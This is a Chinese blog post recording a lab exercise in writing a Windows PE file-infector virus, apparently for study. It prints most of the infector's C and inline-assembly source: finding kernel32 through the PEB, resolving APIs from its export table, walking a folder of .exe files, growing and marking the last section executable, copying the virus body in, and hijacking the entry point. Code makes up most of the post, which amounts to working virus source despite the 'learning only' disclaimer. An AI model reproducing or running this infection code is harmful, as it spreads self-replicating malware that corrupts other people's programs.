MaliciousCode-FileInfect

MaliciousCode-FileInfect

MaliciousCode-FileInfect

本篇博客的主要目的在于记录学习,由于内容涉及不安全因素,不做特别详细的解释,学习需要的可以私信。
这是一篇对一个实验项目的记录,实验的目的和关键如下:

  • 实验目的:编写shellcode,通过利用系统动态链接库调用API从而实现对目标文件夹内文件的感染。
  • 相关知识:需要熟知PE文件结构
  • 涉及到的API有:
    CreateFileAGetFileSizeCreateFileMappingMapViewOfFileUnmapViewOfFileCloseHandleFindFirstFileAFindNextFileAFindCloseLoadLibraryAGetProcAddress

主要思路

1、通过C+汇编编程找到kernel32.dll的地址,从而才能进一步查找其他API的地址;
2、利用PE文件结构找到各类函数的地址;
3、然后利用API对目标文件夹内的文件进行感染。

主要代码分析

前面说了本篇博客的主要目的是记录学习,所以放一些主要部分的代码以供学习参考。下面我们对主要函数进行分析:

1、GetKernel32Base

函数功能是获取系统kernel32.dll加载到内存中的基址,需要对Windows的PEB以及PE结构有比较深的认识,这里可以参考FREEBUF上的三篇博客:
https://www.freebuf.com/articles/system/93983.html
https://www.freebuf.com/articles/system/94774.html
https://www.freebuf.com/articles/system/97215.html
主要代码如下:

DWORD GetKernel32Base()
{
DWORD base;
_asm {
xor ecx, ecx;
mov eax, fs:[ecx + 0x30]; //EAX = PEB
mov eax, [eax + 0xc]; //EAX = PEB->Ldr
mov esi, [eax + 0x14]; //ESI = PEB->Ldr.InMemOrder
lodsd
jmp Get_Function
L1 :
xchg eax, esi;
lodsd
Get_Function :
mov ebx, [eax + 0x28];
cmp dword ptr[ebx], 0x0045004B; //前四字节
jnz L1
cmp dword ptr[ebx + 0x4], 0x004E0052; //下一个四字节
jnz L1
cmp dword ptr[ebx + 0x8], 0x004C0045; //第三个四字节
jnz L1
mov ebx, [eax + 0x10]; //EBX = Base address
mov base, ebx;
}
return base;
}

这里我自己写了一个通过比对DLL名称来查找目标DLL的函数,以增强不同Windows系统版本的适用性。

2、GetAllAPIAddress

函数的功能是查找所有目标API的地址,代码如下:

void GetAllAPIAddress(DWORD DllBase,char * ApiNameBase)
{
int i = 0;
DWORD * p = (DWORD *)(ApiNameBase + API_ADDRESS_OFFSET); //在存放函数名的160个字节后面紧跟着存放函数地址
while( *((WORD *)(ApiNameBase + i)) != 0)
{
*p = GetAPIAddress((unsigned char *)DllBase, //把函数地址逐个存到p指向的位置
ApiNameBase + i);
p++;
while ( *(ApiNameBase + i) != 0) i++; //将地址指针指向下一个需要对比的函数名的开头字符处
i++;//每一个字符串后只有一个0结尾
}
}

该函数调用GetAPIAddress函数逐个查找ApiName数组中存放的函数名,让后将地址保存到160个字节的数组空间的后面,通过判断字符串尾部\x0判断字符串的结束,以这种方式逐个查找函数地址。

3、GetAPIAddress

我们从GetAllAPIAddress的代码中看到,它是通过调用GetAPIAddress来查找到每一个API的地址的,主要也是利用PE文件的结果实现的:

DWORD GetAPIAddress(unsigned char * pDllBase,char * ApiName)
{

unsigned char * DllApiName;
int index;
PIMAGE_DOS_HEADER pdos_head;
PIMAGE_NT_HEADERS32 pPeHeader;
PIMAGE_EXPORT_DIRECTORY pExport;


pdos_head = (PIMAGE_DOS_HEADER )pDllBase; //此处是得到了DOS头的基址,后面找其他结构都是偏移地址,加上此处的基址才是实际在内存的地址
pPeHeader = (IMAGE_NT_HEADERS32 *)((char *)pdos_head
+ pdos_head->e_lfanew);//得到PE文件头的位置

//得到导出表的位置VA
pExport = (PIMAGE_EXPORT_DIRECTORY)&pDllBase[
pPeHeader->OptionalHeader.DataDirectory[0].VirtualAddress];

index = 0; //函数地址的索引
while(index < pExport->NumberOfNames)
{
DllApiName = pDllBase + *((DWORD *)&pDllBase[pExport->AddressOfNames + (index << 2)]) ; //将索引左移2bit是扩大四倍,因为地址是四个字节
if (CmpStr(ApiName,(char *)DllApiName) == TRUE) break; //对比函数名,从而找到函数地址,成功则跳出循环
index ++;
}
if (index == pExport->NumberOfNames) return 0; //查找失败,返回0
index = ((WORD *)&pDllBase[pExport->AddressOfNameOrdinals])[index];

return ((DWORD *)&pDllBase[pExport->AddressOfFunctions])[index] + pPeHeader->OptionalHeader.ImageBase;//函数名对应的偏移地址加镜像基址,即得到了函数在内存中的地址
}

该函数通过传入的pDllBase(其实就是kernel32.dll在内存中的基址),找到dll文件的PE头位置,然后利用PE头结构找到其中可选头里的导出表,kernel32.dll的导出表里AddressOfNameOrdinals存储了函数名序号表的RVA,这里利用index索引进行比较,比对成功后,最后返回的时候加上镜像基址ImageBase就拿到了函数地址.

  • 这里我们可以参考导出表结构:

4、SearchDirectory

代码如下:

void SearchDirectory(DWORD * ApiAddressArray)
{
MyFindFirstFileA f_FindFirstFile;
MyFindNextFileA f_FindNextFile;
MyFindClose f_FindClose;
WIN32_FIND_DATA FindFileData; //装载与找到的文件有关的信息
char buf[512];// = "c:\\test\\*.exe";//"c:\test\*.exe"
int i;
HANDLE hFind;

//strcpy(buf,"c:\\test\\*.exe");

*((DWORD *)buf) = 't\\:c';
*((DWORD *)(buf + 4)) = '\\tse';
*((DWORD *)(buf + 8)) = 'xe.*';
*((DWORD *)(buf + 12)) = 'e';

f_FindFirstFile = (MyFindFirstFileA)(*(ApiAddressArray + FindFirstFileA_OFFSET));//调用FindFirstFileA函数搜索指定文件夹
f_FindNextFile = (MyFindNextFileA)(*(ApiAddressArray + FindNextFileA_OFFSET)); //该函数判断当前目录下是否有下一个目录或文件
f_FindClose = (MyFindClose)(*(ApiAddressArray + FindClose_OFFSET)); //释放由FindFirstFileA分配的内存

hFind = f_FindFirstFile(buf,&FindFileData); //把找到文件有关信息存入FindFileData
if (hFind != INVALID_HANDLE_VALUE)
{
do
{
for(i = 0; FindFileData.cFileName[i]!= 0; i++)
{
buf[8 + i] = FindFileData.cFileName[i];
}
buf[8 + i] = 0; //从8个偏移的位置开始把找到的文件名写入buf,从而构造一个文件完整的路径,并且将字符串末尾置0表示结束
MyInfect(ApiAddressArray,buf);
}while (0 != f_FindNextFile(hFind,&FindFileData)); //判断是否还有文件,若没有,则感染结束
f_FindClose(hFind); //释放由FindFirstFileA分配的内存
}
}

该函数主要利用FindFisrtFileAFindNextFileAFindClose三个API完成打开文件、对指定文件夹进行遍历、最后关闭句柄内存的过程。,每成功找到一个文件便调用MyInfect函数对该文件进行感染。

5、MyInfect

代码如下:

BOOL MyInfect(DWORD * ApiAddressArray, char * FileName)
{
void * pBase;
DWORD VirusSize;
DWORD VirusStart = (DWORD)ApiAddressArray - 160 - 7; //从函数地址数组地址往前160字节是函数名数组起始位置,再往前7字节是main.cpp种的前几条指令

VirusSize = 0x2000; //写入shellcode的大小,根据程序内部的情况设置太大不好,设置太小也不行

pBase = MapFileToMemory(ApiAddressArray, FileName);
if (pBase == NULL)
{
return FALSE;
}
if (PutShellcodeToLastSection_0(pBase,(char *)VirusStart,VirusSize) == FALSE)
{
return FALSE;
}
WriteToFile(ApiAddressArray, pBase);
return TRUE;
}

MyInfect函数里对写入shellcode的起始位置进行了设置:VirusStart,同时设置了写入shellcode的大小的VirusSize,这个大小由项目生成的可执行程序里的text节的尺寸决定,因为shellcode都在此节内存着。
然后调用MapFileToMemory函数得到映射视图文件的开始地址值并赋值给pBase,然后调用PutShellcodeToLastSection_0函数对目标文件进行感染,成功感染之后,调用WriteToFile函数停止当前程序的一个内存映射,将映像到内存中的文件写回磁盘。

6、MapFileToMemory

代码如下:

void * MapFileToMemory(DWORD * ApiAddressArray, char * FileName )
{
HANDLE hFile, hMapping;
DWORD FileSize;
MyCreateFileA f_CreateFileA;
MyGetFileSize f_GetFileSize;
MyCreateFileMappingA f_CreateFileMappingA;
MyMapViewOfFile f_MapViewOfFile;
MyCloseHandle f_CloseHandle;
void * pBase;

f_CreateFileA = (MyCreateFileA) (*(ApiAddressArray + CreateFileA_OFFSET));
f_GetFileSize = (MyGetFileSize) (*(ApiAddressArray + GetFileSize_OFFSET));
f_CreateFileMappingA = (MyCreateFileMappingA) (*(ApiAddressArray + CreateFileMapping_OFFSET));
f_MapViewOfFile = (MyMapViewOfFile) (*(ApiAddressArray + MapViewOfFile_OFFSET));
f_CloseHandle = (MyCloseHandle) (*(ApiAddressArray + CloseHandle_OFFSET));

hFile = f_CreateFileA(FileName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_SEQUENTIAL_SCAN,
0);//打开要感染的目标文件,并用hFile句柄与之关联
if (hFile == INVALID_HANDLE_VALUE)
{
return NULL;
}
FileSize = f_GetFileSize(hFile,NULL);//获取文件大小

//创建文件映射
if (!(hMapping = f_CreateFileMappingA(hFile, 0,
PAGE_READWRITE | SEC_COMMIT,
0, FileSize + 20*1024, 0))) //为何高32位为0,低32位这么大?
{
f_CloseHandle(hFile); //CreateFileMappingA返回0则创建失败,关闭句柄
return NULL;
}

//将文件内容映射到内存中,并获取内存的首地址,写入m_BasePointer,映射方式:将文件映射对象hMapping映射到当前应用程序的地址空间
if (!(pBase = f_MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, 0)))
{
f_CloseHandle(hMapping); //如果返回0则映射失败,并关闭两个句柄,成功则返回映射视图文件的开始地址值到pBase
f_CloseHandle(hFile);
return NULL;
}

f_CloseHandle(hMapping);
f_CloseHandle(hFile);
return pBase;
}

此函数通过调用CreateFileAGetFileSizeCreateFileMappingAMapViewOfFileCloseHandle等API,将指定的文件打开,如果成功打开文件,则获取文件的大小,然后将文件映射到内存并获取映射到内存中的首地址,并返回给pBase

7、PutShellcodeToLastSection_0

代码如下:

BOOL  PutShellcodeToLastSection_0(void * pBase,char * pVirus,DWORD VirusSize)
{
int addsize;
int temp;
IMAGE_DOS_HEADER * dos_head;
PIMAGE_SECTION_HEADER pLastSectionInfo;
IMAGE_NT_HEADERS32 * pPeHeader;
DWORD CopyPos;
DWORD OldEntryPointRVA;



dos_head = (IMAGE_DOS_HEADER *)pBase; //基址指向可执行文件的dos头

pPeHeader = (IMAGE_NT_HEADERS32 *)((char *)dos_head + dos_head->e_lfanew);//得到PE文件头的位置

pLastSectionInfo = GetLastSectionInfo(pBase);

if (!IfLastSectionCanBeInfected(pLastSectionInfo)) return FALSE;

if ((addsize = NeedLastSectionEnlargeSize(pLastSectionInfo,VirusSize)) != 0)//需要扩大节的大小
{
temp = AlignToFile(pPeHeader,pLastSectionInfo->SizeOfRawData + addsize);
pPeHeader->OptionalHeader.SizeOfImage += AlignToSection(pPeHeader,temp)
- AlignToSection(pPeHeader,pLastSectionInfo->SizeOfRawData);
pLastSectionInfo->SizeOfRawData = temp;

}
//修改节属性,使之属于可执行节
pLastSectionInfo->Characteristics |= IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_WRITE ;
//设定新的入口点,指向病毒shell
OldEntryPointRVA = pPeHeader->OptionalHeader.AddressOfEntryPoint;//记录旧的入口点
pPeHeader->OptionalHeader.AddressOfEntryPoint = GetShellcodeRVA(pLastSectionInfo);
//把病毒shell拷贝到尾节的位置
CopyPos = GetShellcodeRawPos(pLastSectionInfo);
pLastSectionInfo->Misc.VirtualSize += VirusSize;
for(temp = 0; temp < VirusSize; temp++)
((char *)pBase)[CopyPos + temp] = pVirus[temp];//在文件中最后一节后面逐个写入设立了code
*((DWORD *)(&((char *)pBase)[CopyPos + EntryPointPos])) =
OldEntryPointRVA + pPeHeader->OptionalHeader.ImageBase; //在最后一节的EntryPointPos大小的偏移处写入旧的入口点
return TRUE;
}

该函数利用上一个函数传回的pBase,以及VirusStartVirusSize,将指定位置和长度的shellcode写入pBase指向的文件内存映射中。
由函数的前半部分代码逻辑我们可知,该函数先通过pBase得到待感染文件的DOS头,然后利用如图的结构找到PE头

然后利用IfLastSectionCanBeInfected函数判断文件的最后一节是否可以被感染,函数主要判断最后一节是否时可丢弃的或者该块的大小是否超过了物理大小而判断是否可以被感染。某一节块是否能被感染的属性如下图:

判断了是否能被感染之后,如果可以被感染,则调用NeedLastSectionEnlargeSize函数判断最后一节的大小是否足够写入shellcode,函数返回零则不必扩大,返回大于0的值即为需要扩大的尺寸,便继续执行代码利用AlignToFileAlignToSection进行扩大节的操作。
此过程结束后,便可以正式进行shellcode写入了,代码:

//修改节属性,使之属于可执行节
pLastSectionInfo->Characteristics |= IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_WRITE ;
//设定新的入口点,指向病毒shell
OldEntryPointRVA = pPeHeader->OptionalHeader.AddressOfEntryPoint;//记录旧的入口点
pPeHeader->OptionalHeader.AddressOfEntryPoint = GetShellcodeRVA(pLastSectionInfo);
//把病毒shell拷贝到尾节的位置
CopyPos = GetShellcodeRawPos(pLastSectionInfo);
pLastSectionInfo->Misc.VirtualSize += VirusSize;
for(temp = 0; temp < VirusSize; temp++)
((char *)pBase)[CopyPos + temp] = pVirus[temp];//在文件中最后一节后面逐个写入设立了code
*((DWORD *)(&((char *)pBase)[CopyPos + EntryPointPos])) =
OldEntryPointRVA + pPeHeader->OptionalHeader.ImageBase; //在最后一节的EntryPointPos大小的偏移处写入旧的入口点

该部分代码先对节的属性进行修改,使之成为可执行的,然后记录旧的入口点到OldEntryPointRVA,并通过GetShellcodeRVA函数拿到写入shellcode之后的新入口点。然后利用GetShellcodeRawPos函数得到写入shellcode的位置,即最后一节的末尾处,至此便正式进行shellcode的写入,利用for循环将shellcode写入文件。

关键点之一:EntryPointPos
这一点很重要,在EntryPointPos偏移处写入程序原来的入口点,EntryPointPos在项目中起始的赋值为0xea,即234字节的偏移,这里我们着重讲一下:
通过分析被写入的shellcode的结构,如下图:

计算得知,红线以上部分存入的是主函数中的push 89898989h(为写入旧的入口点保留的四字节空间)前的234字节的汇编指令和数据:函数名和函数的地址(函数的地址写入到了函数名数组向后偏移160个字节的位置),而89898989h处的四个字节则是通过下面的代码被覆盖成函数原来的入口点的地址:

*((DWORD *)(&((char *)pBase)[CopyPos + EntryPointPos])) = OldEntryPointRVA + pPeHeader->OptionalHeader.ImageBase;

这一点很重要,因为当我们需要向函数名数组中加入新的API函数名时,存储函数地址的空间也会变大,那么写入89898989h的位置则会向后移动,欲覆盖此位置则需要改变EntryPointPos的大小,从而保证能够正确跳转会原入口点使程序正常运行。

8、main

最后看一下主函数:

__declspec(naked) void MyEntryPoint()
{
_asm
{
pushad //将所有的32位通用寄存器压入堆栈
pushfd //然后将32位标志寄存器EFLAGS压入堆栈
call L1 //利用call/pop组合压入数据
}
_MYDATA
_asm
{
L1:
pop ebx
}
RealBegin();
_asm
{
popfd //32位标志寄存器出栈
popad //32位通用寄存器出栈

mov eax,fs:[30h]
mov eax,[eax + 08h]
cmp dword ptr [eax + 2],'xxxx' //判断是否是自身程序
jz L2 //如果找到了标志,程序结束
push 89898989h //为程序原入口点开辟四个字节的空间
L2:
ret
}
}

主函数利用call/pop组合_MYDATA中存放的函数名压入栈,然后调用RealBegin函数实现恶意代码的注入,RealBegin函数中都是利用前面提到的函数来实现功能,不过的赘述。
这里,通过比对魔数MZ后四个字节的值是否为xxxx来判断程序是我们写的恶意程序本身还是被感染的函数,从而根据判断结果决定退出执行还是写入89898989h这个存放入口点的位置。

其他关键内容

在编写和完善代码的过程中,很多细节需要注意,否则就会出现难以预期的问题,我在实验过程中遇到的几个关键问题如下:
1、设置VirusSize的大小
VirusSize进行设置,这个地方我们先设置个适当大点的值0x2000,调试之后查看生成可执行文件的text节的大小,然后应当用扩大之后替换VirusSize之前的值。

由图可知可以将VirusSize设置为比0x838稍微大的值,以免感染文件写入shellcode时写不全。不过设置的再大些也没有问题,前提是能存下shellcode。
2、偏移EntryPointPos的设置
代码中对EntryPointPos的定义如下:

#define EntryPointPos 0xf2 
//0xea=234、0xf2=242,这个是写入原入口点的位置,如果读入别的函数地址,这个偏移需要更改,这里为了弹出窗口,
//我们又读入了两个函数的地址,因此向后多偏移了8个字节,故入口点写入的位置也要向后偏移8个字节。

前面提到了这是记录写入原入口点地址偏移的地方,比如当读取10个函数的地址的时候,该偏移大小为0xea恰好能偏移到89898989h的地方,然后覆盖成为原入口点地址,而当我们又多读取了两个函数的地址,那么89898989h也将会向后移动8个字节(这一点是不一定的,因为我们加入两个函数名,160个字节大小的数组空间足够放下函数名,故API_ADDRESS_OFFSET的值160不用变,而当需要加入其它API名的时候,160个字节存不下函数名时,这个地方也要扩大,向后偏移的大小会更大,所以需要根据实际情况来分析),我们可以通过观察文件结构来分析,更为直观:

  • 1、首先,我们写入新的两个函数之后,不对EntryPointPos进行更改,那原程序的入口点(实验中用到的calc.exe的原始入口点的VA01012475h)将会仍然被写到偏移为0xea的地方,而89898989h将会存在于后面几个字节的地方,如图:

    红色框内是入口点写入到0xea个偏移的位置,黄色标记是89898989h被写入的地方,没有成功被覆盖,因此被感染的程序最后只能蜂鸣而不能正常运行。
  • 2、修改程序,将EntryPointPos改为0xf2(242),然后再次感染,看一下效果:

    我们发现01012475h被写入到原来的89898989h位置,经过测试,成功感染。此时便能利用LoadLibraryAGetProcAddress函数找到MessageBoxA进行弹窗。

总结

自己在本次实验中深刻学习了感染目标程序的机制,关键点就在于:写入shellcode、更改入口点等主要作用的实现都离不开对PE文件结构的操作。基础不牢、地动山摇呀!
最后再次声明:本篇博客只用于记录学习!

Comments


:D 一言句子获取中...

Loading...Wait a Minute!